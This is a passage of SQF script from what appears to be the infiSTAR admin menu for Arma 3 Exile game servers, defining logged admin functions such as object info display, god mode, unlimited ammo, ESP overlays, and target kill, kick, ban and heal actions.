- private['_boxname','_select','_target'];
- _boxname = _this select 0;
- _select = _this select 1;
- _target = call fnc_get_selected_object;
- [5000,netId _target,_select] call fnc_AdminReq;
- _log = format['%1 created for %2(%3)!',_boxname,name _target,getPlayerUID _target];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- };
- admin_showinfo_catch = {
- {player reveal _x;} foreach (cameraOn nearObjects 50);
- params['_obj','_pin','_ownername','_owneruid'];
- if!(_pin isEqualTo '')then{_obj setVariable ['ExileAlreadyKnownCode',_pin];};
- if(!isNil'delete_old_show_thread')then{terminate delete_old_show_thread;delete_old_show_thread=nil;};
- delete_old_show_thread = _this spawn {
- params['_obj','_pin','_ownername','_owneruid'];
- disableSerialization;
- _timer = diag_tickTime + 15;
- while {_timer > diag_tickTime} do
- {
- _ownedby = 'server';
- if!(_owneruid isEqualTo '')then
- {
- _isOnline = if({_owneruid isEqualTo (getPlayerUID _x)} count (call fnc_get_plr) > 0)then{true}else{false};
- _color = if(_isOnline)then{'#00FF00'}else{'#FF0000'};
- _inject = '</t><t align=''left'' size=''.9'' color='+str _color+' shadow=''1'' shadowColor=''#000000''>';
- _ownedby = format['%1 (%2) %3',_ownername,_owneruid,if(_isOnline)then{_inject+'(ONLINE)'}else{_inject+'(OFFLINE)'}];
- };
- _pinshown = _pin;
- if(_pinshown isEqualTo '')then
- {
- _pinshown = 'none';
- };
- _locked = locked _obj isEqualTo 2;
- _ExileIsLocked = _obj getVariable ['ExileIsLocked', 1] isEqualTo -1;
- _color = if(_locked || _ExileIsLocked)then{'#FF0000'}else{'#00FF00'};
- _inject = '</t><t align=''left'' size=''.9'' color='+str _color+' shadow=''1'' shadowColor=''#000000''>';
- _pinshown = format['%1 %2',_pinshown,if(_locked || _ExileIsLocked)then{_inject+'(LOCKED)'}else{_inject+'(UNLOCKED)'}];
- _pos = getPosATL _obj;
- _type = typeOf _obj;
- _health = format['%1%2',ceil((1-(damage _obj))*100),'%'];
- disableSerialization;
- _ctrl = [findDisplay 46,'RscStructuredText',5555314] call fnc_createctrl;
- _ctrl ctrlSetPosition [-.2,0.35,0.6,0.3];
- _ctrl ctrlSetBackgroundColor[0,0,0,0.6];
- _ctrl ctrlCommit 0;
- _txt = format['
- <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>type: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %1</t><br/>
- <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>code: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %2</t><br/>
- <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>owner: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %3</t><br/>
- <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>direction: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %4</t><br/>
- <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>position: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %5</t><br/>
- <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>grid: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %6</t><br/>
- <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>health: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %7</t><br/>
- ',
- _type,
- _pinshown,
- _ownedby,
- getDir _obj,
- _pos,
- mapGridPosition _pos,
- _health
- ];
- _ctrl ctrlSetStructuredText parseText _txt;
- uiSleep 0.1;
- };
- ctrlDelete ((findDisplay 46) displayCtrl 5555314);
- };
- };
- admin_showinfo = {
- _obj = cursortarget;
- if(!isNull _obj)then
- {
- [14,netId _obj] call fnc_AdminReq;
- _log = format['used showinfo on: %1 @%2',typeOf _obj,mapGridPosition _obj];
- _log call fnc_adminLog;
- };
- };
- fnc_infiSTAR_A3cargod = {
- if(isNil 'A3carGodRun')then
- {
- MY_VEHICLES = [];
- _code = {
- _obj = cameraOn;
- if(local _obj)then
- {
- if(_obj isKindOf 'Man')then
- {
- if!(MY_VEHICLES isEqualTo [])then
- {
- {_x removeAllEventhandlers 'HandleDamage';_x allowDamage true;} forEach MY_VEHICLES;
- MY_VEHICLES = [];
- };
- }
- else
- {
- MY_VEHICLES pushBackUnique _obj;
- _obj allowDamage false;
- _obj removeAllEventhandlers 'HandleDamage';
- _obj addEventHandler['HandleDamage',{false}];
- };
- };
- };
- A3carGodRun = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
- }
- else
- {
- [A3carGodRun] call ExileClient_system_thread_removeTask;A3carGodRun=nil;
- {_x removeAllEventhandlers 'HandleDamage';_x allowDamage true;} forEach MY_VEHICLES;
- };
- };
- fnc_LowerTerrain = {
- if(isNil 'admin_terrain')then{admin_terrain = true;} else {admin_terrain = !admin_terrain};
- if(admin_terrain)then{
- setTerrainGrid 50;
- }
- else
- {
- setTerrainGrid 25;
- };
- };
- fnc_infiSTAR_A3UnlAmmo = {
- if(isNil'lastMagazineUNLAMMO')then{lastMagazineUNLAMMO = '';};
- if(isNil 'unlimAmmRun')then
- {
- _code = {
- private['_secondaryWeapon','_muzzle','_vehicle','_turretPath','_mags','_magArray','_magazineClass'];
- _secondaryWeapon = secondaryWeapon player;
- _muzzle = currentWeapon player;
- _vehicle = vehicle player;
- if(player isEqualTo _vehicle)then
- {
- if(_muzzle isEqualTo _secondaryWeapon)then
- {
- if!(_secondaryWeapon isEqualTo '')then
- {
- _curmag = currentMagazine player;
- if!(_curmag isEqualTo '')then
- {
- if!(_curmag isEqualTo lastMagazineUNLAMMO)then
- {
- lastMagazineUNLAMMO = _curmag;
- };
- };
- if!(lastMagazineUNLAMMO isEqualTo '')then
- {
- _magArray = getArray(configFile >> 'CfgWeapons' >> _secondaryWeapon >> 'magazines');
- if(lastMagazineUNLAMMO in _magArray)then
- {
- if(player ammo _secondaryWeapon isEqualTo 0)then
- {
- player addSecondaryWeaponItem lastMagazineUNLAMMO;
- if({lastMagazineUNLAMMO == _x} count (magazines player) < 2)then
- {
- player addMagazine lastMagazineUNLAMMO;
- };
- };
- };
- };
- };
- }
- else
- {
- _vehicle setAmmo [_muzzle,999];
- };
- }
- else
- {
- _assignedVehicleRole = assignedVehicleRole player;
- if((_assignedVehicleRole select 0) isEqualTo 'Turret')then
- {
- _turretPath = _assignedVehicleRole select 1;
- _mags = _vehicle magazinesTurret _turretPath;
- if(_mags isEqualTo [''])then
- {
- _magArray = getArray(configFile >> 'CfgWeapons' >> _muzzle >> 'magazines');
- {
- _vehicle addMagazineTurret [_x,_turretPath];
- systemChat format['Added %1 to your Turret!',_x];
- } forEach _magArray;
- }
- else
- {
- _magazineClass = _vehicle currentMagazineTurret _turretPath;
- _vehicle setMagazineTurretAmmo [_magazineClass,999,_turretPath];
- };
- };
- };
- _vehicle setVehicleAmmo 1;
- };
- unlimAmmRun = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
- }
- else
- {
- if(!isNil'unlimAmmRun')then{[unlimAmmRun] call ExileClient_system_thread_removeTask;unlimAmmRun=nil;};
- };
- };
- fnc_infiSTAR_A3noRecoil = {
- if(isNil 'noRecoilRun')then
- {
- _code = {
- (vehicle player) setUnitRecoilCoefficient 0;
- player setUnitRecoilCoefficient 0;
- player setCustomAimCoef 0;
- };
- noRecoilRun = [1, _code, [], true] call ExileClient_system_thread_addtask;
- }
- else
- {
- if(!isNil'noRecoilRun')then{[noRecoilRun] call ExileClient_system_thread_removeTask;noRecoilRun=nil;};
- (vehicle player) setUnitRecoilCoefficient 1;
- player setUnitRecoilCoefficient 1;
- };
- };
- fnc_infiSTAR_A3FF = {
- if(isNil 'A3FFrun')then
- {
- _code = {
- _muzzle = currentWeapon player;
- if(_muzzle isEqualType '')then
- {
- (vehicle player) setWeaponReloadingTime [player, _muzzle, 0];
- };
- };
- A3FFrun = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
- }
- else
- {
- if(!isNil'A3FFrun')then{[A3FFrun] call ExileClient_system_thread_removeTask;A3FFrun=nil;};
- };
- };
- fnc_infiSTARHIDE = {
- if(isNil'A3HIDErun')then
- {
- [2,true] call fnc_AdminReq;
- A3HIDErun = true;
- }
- else
- {
- [2,false] call fnc_AdminReq;
- A3HIDErun = nil;
- };
- };
- fnc_DisableAnnouncements = {
- if(isNil 'A3DANNrun')then{A3DANNrun = 0;};
- if(A3DANNrun==0)then
- {
- A3DANNrun=1;
- AdminAnnounceDisabled = true;
- }
- else
- {
- A3DANNrun=0;
- AdminAnnounceDisabled = nil;
- };
- };
- fnc_FreeRoamCam = {
- if(isNil 'freeFlightCam')then
- {
- camDestroy freeFlightCam;
- freeFlightCam = nil;
- _getPos = player modelToWorld[0,3, 1.75];
- freeFlightCam = 'camera' camCreate _getPos;
- freeFlightCam setDir([_getPos, player] call BIS_fnc_dirTo);
- freeFlightCam camCommand 'MANUAL ON';
- freeFlightCam camCommand 'INERTIA OFF';
- freeFlightCam cameraEffect['INTERNAL', 'BACK'];
- showCinemaBorder false;
- _log = 'Right Click To Cancel!';
- _log call FN_SHOW_LOG;
- }
- else
- {
- camDestroy freeFlightCam;
- freeFlightCam = nil;
- };
- };
- fnc_BIS_FreeRoamCam = {
- if(!isNil'camerathread')then{terminate camerathread;camerathread=nil;};
- camerathread = [] spawn (uinamespace getvariable 'bis_fnc_camera');
- };
- fnc_createBillboard = {
- _textureid = _this;
- _selected = pathToCustomBillBoardTextures select _textureid;
- _name = _selected select 0;
- _texture = _selected select 1;
- _dir = getDir player + 90;
- _location = player modelToWorld [0,5,0];
- [4,_texture,_textureid,_dir,_location] call fnc_AdminReq;
- _log = format['Billoard %1 created!',_name];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- };
- fnc_deleteVeh_selected = {
- {player reveal _x;} foreach (cameraOn nearObjects 50);
- _target = _this select 0;
- if(typeName _target != 'OBJECT')then{_target = cursorTarget;};
- if(isNull _target)then{_target = cursorObject;};
- if(!isNull _target)then
- {
- if(isPlayer _target && vehicle _target isKindOf 'Man')exitWith{systemChat '<infiSTAR.de> can not delete a player..';};
- _delete = (vehicle _target);
- if(isNil 'DELETE_TARGET')then{DELETE_TARGET = objNull;};
- if(str DELETE_TARGET != str _delete)exitWith
- {
- _type = typeOf _delete;
- _distance = round(cameraOn distance _delete);
- if(_type isEqualTo '')then{
- _type = _delete;
- }
- else
- {
- _displayName = gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName');
- _type = format['%1(%2)',_type,_displayName];
- };
- _log = format['DELETE: %1 distance %2m? (press continue and delete again)',_type,_distance];
- _log call FN_SHOW_LOG;
- DELETE_TARGET = _delete;
- };
- if(isNil 'ToDeleteArray')then{ToDeleteArray = [];};
- if(_delete in ToDeleteArray)then
- {
- _log = format['%1 - IN DELETE QUEUE',_delete];
- _log call FN_SHOW_LOG;
- }
- else
- {
- _netId = netId _delete;
- if(_netId isEqualTo '0:0')then
- {
- deleteVehicle _delete;
- }
- else
- {
- ToDeleteArray pushBack _delete;
- [-4,netId _delete] call fnc_AdminReq;
- };
- _log = format['Deleting %1 @%2..',typeOf _delete,mapGridPosition _delete];
- if(getPlayerUID _target != '')then
- {
- _log = format['Deleting %1(%2) vehicle: %3 @%4..',name _target,getPlayerUID _target,typeOf _delete,mapGridPosition _delete];
- };
- _log call FN_SHOW_LOG;
- systemchat _log;
- diag_log _log;
- _log call fnc_adminLog;
- };
- }
- else
- {
- DELETE_TARGET = objNull;
- };
- };
- fnc_flipVeh = {
- _target = _this select 0;
- if(typeName _target != 'OBJECT')then
- {
- _target = cursorTarget;
- };
- if(isNull _target)then{_target = cursorObject;};
- _target = vehicle _target;
- if((!isNull _target) && {alive _target} && {_target isKindOf 'Landvehicle' || _target isKindOf 'Air' || _target isKindOf 'Ship'})then
- {
- if(local _target)then
- {
- _pos = getPos _target;
- _pos set[2,(_pos select 2)+2];
- _target setPos _pos;
- _target setVectorUp [0,0,1];
- }
- else
- {
- [-3,netId _target] call fnc_AdminReq;
- };
- _log = format['Flipping %1 @%2..',typeOf _target,mapGridPosition _target];
- _log call FN_SHOW_LOG;
- };
- };
- fnc_Light_selected = {
- _target = _this select 0;
- _pos = screenToWorld [0.5,0.5];
- if(typeName _target != 'OBJECT')then
- {
- _target = cursorTarget;
- };
- if(isNull _target)then{_target = cursorObject;};
- _log = format['Lightning @%1 %2',_pos,mapGridPosition _pos];
- if(!isNull _target)then
- {
- _pos = getPos _target;
- _log = format['Lightning %1 @%2 %3',typeOf _target,_pos,mapGridPosition _pos];
- if(getPlayerUID _target != '')then
- {
- _log = format['Lightning %1(%2) @%3 %4',name _target,getPlayerUID _target,_pos,mapGridPosition _pos];
- };
- };
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- [-1,_pos] call fnc_AdminReq;
- };
- fnc_Kill_selected = {
- _target = _this select 0;
- if(typeName _target != 'OBJECT')then
- {
- _target = cursorTarget;
- };
- if(isNull _target)then{_target = cursorObject;};
- if(!isNull _target)then
- {
- if(alive _target)then
- {
- if!(_target getVariable ['killed',''] isEqualTo '')exitWith{};
- _log = format['Killing %1 @%2',typeOf _target,mapGridPosition _target];
- if(getPlayerUID _target != '')then
- {
- _log = format['Killing %1(%2) @%3',name _target,getPlayerUID _target,mapGridPosition _target];
- };
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- _target setVariable ['killed',format['%1(%2)',profileName,getPlayerUID player]];
- [-2,netId _target] call fnc_AdminReq;
- };
- };
- };
- fnc_Explode_selected = {
- _target = _this select 0;
- if(typeName _target != 'OBJECT')then
- {
- _target = cursorTarget;
- };
- if(isNull _target)then{_target = cursorObject;};
- _pos = screenToWorld [0.5,0.5];
- _log = format['Exploding @%1',mapGridPosition _pos];
- if(!isNull _target)then
- {
- _log = format['Exploding %1 @%2',typeOf _target,mapGridPosition _target];
- if(isPlayer _target)then
- {
- _log = format['Exploding %1(%2) @%3',name _target,getPlayerUID _target,mapGridPosition _target];
- };
- _eyepos = ASLToATL eyepos _target;if(surfaceIsWater _eyepos)then{_eyepos = eyepos _target;};
- _pos = getPosVisual _target;
- _pos set[2,_eyepos select 2];
- };
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- _bomb = 'HelicopterExploSmall' createVehicleLocal _pos;
- };
- fnc_Disconnect_selected = {
- _target = _this select 0;
- if(!isNull _target)then
- {
- [-664,netId _target] call fnc_AdminReq;
- _log = format['Disconnect %1(%2)',name _target,getPlayerUID _target];
- _log call FN_SHOW_LOG;
- }
- else
- {
- _log = 'target does not exist';
- _log call FN_SHOW_LOG;
- };
- };
- fnc_get_reason = {
- disableSerialization;
- if(_this isEqualTo [])exitWith{systemChat 'no input';};
- if(isNull findDisplay -1341)then{(findDisplay MAIN_DISPLAY_ID) closeDisplay 0;createdialog 'infiSTAR_EDITBOX';};
- _display = findDisplay -1341;
- _ctrl = [_display,'RSCButton',7337] call fnc_createctrl;
- _ctrl ctrlSetText 'SUBMIT REASON';
- _ctrl ctrlSetPosition [
- 0.5,
- 0.75,
- 0.25,
- 0.033 * safezoneH
- ];
- _ctrl ctrlSetEventHandler['ButtonClick','
- _input = '+str _this+';
- _adminreq = _input select 0;
- _opt = _input select 1;
- _TNAME = _input select 2;
- _TUID = _input select 3;
- _what = _input select 4;
- _txt = ctrlText ((findDisplay -1341) displayCtrl 1336);
- _txt = if(_txt isEqualTo '''')then{''ADMIN DECISION''}else{_txt select [0,300]};
- _adminreq pushBack (toArray _txt);
- _adminreq call fnc_AdminReq;
- if(_opt isEqualTo 1)then
- {
- _msg = format[''%1 has been %2!'',_TNAME,_what];
- [8,toArray _msg] call fnc_AdminReq;
- };
- _log = format[''%4 %1(%2): %3'',_TNAME,_TUID,_txt,_what];
- _log call FN_SHOW_LOG;
- true;'];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCButton',7338] call fnc_createctrl;
- _ctrl ctrlSetText 'STOP';
- _ctrl ctrlSetPosition [
- 0.25,
- 0.75,
- 0.25,
- 0.033 * safezoneH
- ];
- _ctrl ctrlSetEventHandler['ButtonClick','closeDialog 0;true'];
- _ctrl ctrlCommit 0;
- };
- fnc_do_target = {
- _target = _this select 0;
- _option = _this select 1;
- _suboption = _this select 1;
- if(!isNull _target)then
- {
- _TUID = getPlayerUID _target;
- if(_TUID != '')then
- {
- _TNAME = name _target;
- _input = call {
- if(_option isEqualTo 0)exitWith{[[-665,netId _target],_suboption,_TNAME,_TUID,'KICKED']};
- if(_option isEqualTo 1)exitWith{[[-666,0,netId _target],_suboption,_TNAME,_TUID,'BANNED']};
- if(_option isEqualTo 2)exitWith{[[-666,1,netId _target],_suboption,_TNAME,_TUID,'TEMP-BANNED']};
- []
- };
- _input call fnc_get_reason;
- };
- }
- else
- {
- _log = 'target does not exist';
- _log call FN_SHOW_LOG;
- };
- };
- fnc_ATTACH_TO = {
- if(isNil'LastAttachedObject')then{LastAttachedObject=objNull;};
- if(!isNull LastAttachedObject)exitWith{detach LastAttachedObject;LastAttachedObject = nil;};
- _target = _this select 0;
- if(typeName _target != 'OBJECT')then
- {
- _target = cursorTarget;
- };
- if(isNull _target)then{_target = cursorObject;};
- if(!isNull _target)then
- {
- _bbr = boundingBoxReal _target;
- _p1 = _bbr select 0;
- _p2 = _bbr select 1;
- _offset = 5;
- _maxWidth = abs ((_p2 select 0) - (_p1 select 0));
- _maxLength = abs ((_p2 select 1) - (_p1 select 1));
- if(_maxWidth > _offset)then{_offset = _maxWidth;};
- if(_maxLength > _offset)then{_offset = _maxLength;};
- _bbr = boundingBoxReal vehicle player;
- _p1 = _bbr select 0;
- _p2 = _bbr select 1;
- _maxHeight = abs ((_p2 select 2) - (_p1 select 2));
- [5,netId _target,_offset,_maxHeight] call fnc_AdminReq;
- LastAttachedObject = _target;
- _log = format['Attaching %1 to player',typeOf _target];
- _log call FN_SHOW_LOG;
- }
- else
- {
- _log = 'target does not exist';
- _log call FN_SHOW_LOG;
- };
- };
- fnc_ReviveTarget = {
- _target = _this select 0;
- if(!isNull _target)then
- {
- if(alive _target)exitWith
- {
- _log = 'target already alive..!';
- _log call FN_SHOW_LOG;
- };
- if(getPlayerUID _target != '')then
- {
- moveOut _target;
- unassignVehicle _target;
- _target action ['eject', (vehicle _target)];
- _log = format['Revived %1(%2) @%3',name _target,getPlayerUID _target,mapGridPosition _target];
- _log call FN_SHOW_LOG;
- [19,netId _target] call fnc_AdminReq;
- };
- }
- else
- {
- _log = 'target does not exist';
- _log call FN_SHOW_LOG;
- };
- };
- fnc_HealTarget = {
- _target = _this select 0;
- if(typeName _target != 'OBJECT')then
- {
- _target = cursorTarget;
- };
- if(isNull _target)then{_target = cursorObject;};
- if(!isNull _target)then
- {
- _log = format['Healed %1 @%2',typeOf _target,mapGridPosition _target];
- if(getPlayerUID _target != '')then
- {
- _log = format['Healed %1(%2) @%3',name _target,getPlayerUID _target,mapGridPosition _target];
- };
- _log call FN_SHOW_LOG;
- [9,netId _target] call fnc_AdminReq;
- }
- else
- {
- _log = 'target does not exist';
- _log call FN_SHOW_LOG;
- };
- };
- fnc_RepairTarget = {
- _target = _this select 0;
- if(typeName _target != 'OBJECT')then
- {
- _target = cursorTarget;
- };
- if(isNull _target)then{_target = cursorObject;};
- if(!isNull _target)then
- {
- _log = format['%1 @%2 - Repaired & Refueled',typeOf _target,mapGridPosition _target];
- if(getPlayerUID _target != '')then
- {
- _log = format['%1 @%2 - Repaired & Refueled @%3',name _target,getPlayerUID _target,mapGridPosition _target];
- };
- _log call FN_SHOW_LOG;
- [9,netId (vehicle _target)] call fnc_AdminReq;
- }
- else
- {
- _log = 'target does not exist';
- _log call FN_SHOW_LOG;
- };
- };
- infiSTAR_A3Heal = {
- [9,netId cameraOn] call fnc_AdminReq;
- _log = format['Healed %1(%2)',name cameraOn,getPlayerUID cameraOn];
- _log call FN_SHOW_LOG;
- };
- infiSTAR_A3RestoreNear = {
- _done = [];
- {
- _crewandobject = [_x];
- _crewandobject append (crew _x);
- {
- _id = _done pushBackUnique _x;
- if(_id > -1)then
- {
- [9,netId _x] call fnc_AdminReq;
- };
- } forEach _crewandobject;
- } forEach (cameraOn nearEntities ['AllVehicles',15]);
- _log = format['Restored Near %1(%2)',name cameraOn,getPlayerUID cameraOn];
- _log call FN_SHOW_LOG;
- };
- fn_addArsenalAction = {
- if('Arsenal' call ADMINLEVELACCESS)then
- {
- _log = '';
- _id = player getVariable ['arsenal_action_id',-1];
- if(_id > -1)then
- {
- player removeAction _id;
- _id = -1;
- _log = 'Arsenal Action removed from player.';
- }
- else
- {
- _id = player addAction ['Arsenal',{['Open',true] call BIS_fnc_arsenal;}];
- _log = 'Arsenal Action added to player.';
- };
- player setVariable ['arsenal_action_id',_id];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- };
- };
- infiSTAR_A3addAmmo = {
- if(isNil'SELECTED_TARGET_PLAYER')then{SELECTED_TARGET_PLAYER=player;};
- if(isNull SELECTED_TARGET_PLAYER)then{SELECTED_TARGET_PLAYER=player;};
- if(!alive SELECTED_TARGET_PLAYER)then{SELECTED_TARGET_PLAYER=player;};
- _log = '';
- _veh = vehicle SELECTED_TARGET_PLAYER;
- if(_veh == SELECTED_TARGET_PLAYER)then
- {
- _muzzle = currentWeapon SELECTED_TARGET_PLAYER;
- _magArray = getArray(configFile >> 'CfgWeapons' >> _muzzle >> 'magazines');
- if((((toLower _muzzle) find '_gl' != -1) && {((toLower _muzzle) find '_glock' == -1)})||((toLower _muzzle) find 'm203' != -1))then
- {
- _pewpews = [];
- {
- if(((toLower _x) select [0,4] in ['1rnd','3rnd'])||((toLower _x) find 'ugl_' != -1))then
- {
- _pewpews pushBack _x;
- };
- } forEach ALL_MAGS_TO_SEARCH_C;
- _magArray append _pewpews;
- };
- if(_magArray isEqualTo [])exitWith{};
- [] call fnc_FULLinit;
- LASTSUBBUTTON = 0;
- FILLMAINSTATE = 6;
- disableSerialization;
- _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
- lbclear _ctrl;
- _ctrl lbAdd '==== Magazines ====';
- {
- _lbid = _ctrl lbAdd format['%1 (%2)',getText(configFile >> 'CfgMagazines' >> _x >> 'displayName'),_x];
- _ctrl lbSetData [_lbid,_x];
- _x call fnc_addpic;
- } forEach _magArray;
- [] call fnc_colorizeMain;
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- }
- else
- {
- _log = format['%1 added Ammo to %2',name SELECTED_TARGET_PLAYER,typeOf _veh];
- {
- _wep = _x;
- {
- [_veh,_x] call fnc_reallyAdditem;
- } forEach (getArray (configFile >> 'CfgWeapons' >> _wep >> 'magazines'));
- } forEach (weapons _veh);
- };
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- };
- infiSTAR_A3Invulnerability = {
- if(isNil 'A3Invulnerability')then
- {
- _code = {
- player allowDamage false;
- player removeAllEventhandlers 'HandleDamage';
- player addEventhandler ['HandleDamage', {false}];
- ExileClientPlayerAttributes = [100,100,100,100,0,37,0];
- ExileClientPlayerAttributesASecondAgo = ExileClientPlayerAttributes;
- ExileClientPlayerLastHpRegenerationAt = diag_tickTime;
- ExileClientPlayerIsOverburdened = false;
- ExileClientPlayerOxygen = 100;
- ExileClientPlayerIsAbleToBreathe = true;
- ExileClientPlayerIsDrowning = false;
- ExileClientPlayerIsInjured = false;
- ExileClientPlayerIsBurning = false;
- ExileClientPlayerIsBleeding = false;
- ExileClientPlayerIsExhausted = false;
- ExileClientPlayerIsHungry = false;
- ExileClientPlayerIsThirsty = false;
- player setBleedingRemaining 0;
- player setOxygenRemaining 1;
- player setFatigue 0;
- if(damage player > 0)then{player setDamage 0;};
- if(!isNil'ExileRadiationThreadHandle')then
- {
- [] call ExileClient_system_radiation_event_onPlayerDied;
- ExilePlayerRadiation = 0;
- ExilePlayerRadiationLastCheck = 0;
- };
- };
- A3Invulnerability = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
- }
- else
- {
- if(!isNil'A3Invulnerability')then{[A3Invulnerability] call ExileClient_system_thread_removeTask;A3Invulnerability=nil;};
- player allowDamage true;
- player removeAllEventhandlers 'HandleDamage';
- player addEventHandler ['HandleDamage',{_this call ExileClient_object_player_event_onHandleDamage}];
- [] call ExileClient_system_radiation_event_onPlayerSpawned;
- };
- };
- infiSTAR_A3Invulnerability2 = {
- if(isNil 'A3Invulnerability2')then
- {
- _code = {
- player allowDamage false;
- player removeAllEventhandlers 'HandleDamage';
- player addEventhandler ['HandleDamage', {false}];
- if(damage player > 0)then{player setDamage 0;};
- };
- A3Invulnerability2 = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
- }
- else
- {
- if(!isNil'A3Invulnerability2')then{[A3Invulnerability2] call ExileClient_system_thread_removeTask;A3Invulnerability2=nil;};
- player allowDamage true;
- player removeAllEventhandlers 'HandleDamage';
- player addEventHandler ['HandleDamage',{_this call ExileClient_object_player_event_onHandleDamage}];
- };
- };
- fnc_draw3dhandlerAI = ""
- if(!isNull cameraOn)then
- {
- ALLVEHICLES_OBJECTS_1500m = cameraOn nearEntities ['Allvehicles',1500];
- {
- if(!isNull _x)then
- {
- if(alive _x)then
- {
- _PUIDX = getPlayerUID _x;
- if(_PUIDX == '')then
- {
- if(_x isKindOf 'Animal_Base_F')exitWith{};
- _crew = crew _x;
- if!(_crew isEqualTo [])then
- {
- _distance = cameraOn distance _x;
- _txt = 'AI';
- _type = typeOf _x;
- if(_x isKindOf 'Man')then
- {
- if(_type select [0,11] in ['Exile_Trade','Exile_Guard'])then
- {
- _txt = format['%1 (%2m)',_type,round _distance];
- }
- else
- {
- _txt = format['AI (%1m)',round _distance];
- };
- }
- else
- {
- _txt = format['AI - %1 (%2m)',gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName'),round _distance];
- };
- _grp = group _x;
- if(!isNull _grp)then
- {
- _txt = format['%1 GRP:%2 UNITS:%3',_txt,allGroups find _grp,count units _grp];
- };
- _pos = ASLToATL eyepos _x;
- if(surfaceIsWater _pos)then{_pos = eyepos _x;};
- drawIcon3D['',[1,0,0.75,0.7],_pos,.1,.1,0,_txt,1,.03];
- };
- };
- };
- };
- } forEach ALLVEHICLES_OBJECTS_1500m;
- };
- "";
- fnc_draw3dhandlerDEAD = ""
- {
- if(!isNull _x)then
- {
- if!(getPlayerUID _x isEqualTo '')exitWith{};
- _distance = cameraOn distance _x;
- if(_distance < 500)then
- {
- _name = _x getVariable['ExileName',''];
- if(_name != '')then
- {
- _clr = [1,1,1,0.7];
- _txt = format['%1 %2m',_name,round _distance];
- _pos = _x modelToWorld [0,0,1];
- drawIcon3D['',_clr,_pos,0,0,45,_txt,0,.032];
- };
- };
- };
- } forEach allDeadMen;
- "";
- fnc_call_single_esps = {
- if(!isNil'infiSTAREspEHVAR')then{
- removeMissionEventHandler ['Draw3D',infiSTAREspEHVAR];
- infiSTAREspEHVAR=nil;
- };
- _string = '';
- if(!isNil 'fnc_infiESP_stateAI')then
- {
- _string = _string + fnc_draw3dhandlerAI;
- };
- if(!isNil 'fnc_infiESP_stateDEAD')then
- {
- _string = _string + fnc_draw3dhandlerDEAD;
- };
- if(_string != '')then
- {
- _string = ('if(!isNull findDisplay 49)exitWith{true};'+_string);
- infiSTAREspEHVAR = addMissionEventHandler ['Draw3D',_string];
- };
- };
- fnc_PlayerESP_NORM_CODE = {
- private['_distance','_alpha','_clr','_crew','_pos'];
- {
- _distance = round(cameraOn distance _x);
- if(_distance < 2000)then
- {
- _alpha = (1-(_distance/2000/1.5));
- _isOnFoot = isNull objectParent _x;
- if(_isOnFoot)then
- {
- _name = _x call FN_GET_NAME;
- _clr = _x call FN_GET_CLR;
- _curwep = currentWeapon _x;
- _hp = round((damage _x - 1) * -100);
- _txt = format['unarmed - %1HP',_hp];
- _pos = _x modelToWorldVisual (_x selectionPosition 'head');
- _pos2D = worldToScreen _pos;
- _txt2 = '';
- if(alive _x)then
- {
- _txt2 = format['%1 - %2m',_name,_distance];
- }
- else
- {
- _txt2 = format['%1 - %2m (DEAD, but still watching)',_name,_distance];
- };
- if(abs(_pos2D select 0) < 1)then
- {
- if(_curwep != '')then
- {
- _txt = format['%1 - [%2/%3] - %4HP',gettext(configFile >> 'CfgWeapons' >> _curwep >> 'displayName'),_x ammo _curwep,getNumber(configFile >> 'CfgMagazines' >> currentMagazine _x >> 'count'),_hp];
- };
- _dir = [_x,cameraOn] call BIS_fnc_relativeDirTo;
- drawIcon3D['iconManMedic',_clr,_pos,.5,.5,if(_x isEqualTo cameraOn)then{_dir}else{_dir+180},_txt,1,0.03,'PuristaMedium','',true];
- drawIcon3D['',_clr,_pos,.5,0,0,_txt2,1,0.03,'PuristaMedium','',true];
- }
- else
- {
- drawIcon3D['iconManMedic',_clr,_pos,.5,.5,([_x,cameraOn] call BIS_fnc_relativeDirTo)+180,_txt2,1,0.03,'PuristaMedium','',true];
- };
- }
- else
- {
- _veh = vehicle _x;
- _class = typeOf _veh;
- _speed = round(speed _veh*100)/100;
- _maxSpeed = getNumber(configFile >> 'CfgVehicles' >> _class >> 'maxSpeed');
- _typename = gettext(configFile >> 'CfgVehicles' >> _class >> 'displayName');
- _icon = gettext(configFile >> 'CfgVehicles' >> _class >> 'Picture');
- _crew = crew _veh;
- _vehclr = [0.047,0.502,1,_alpha];
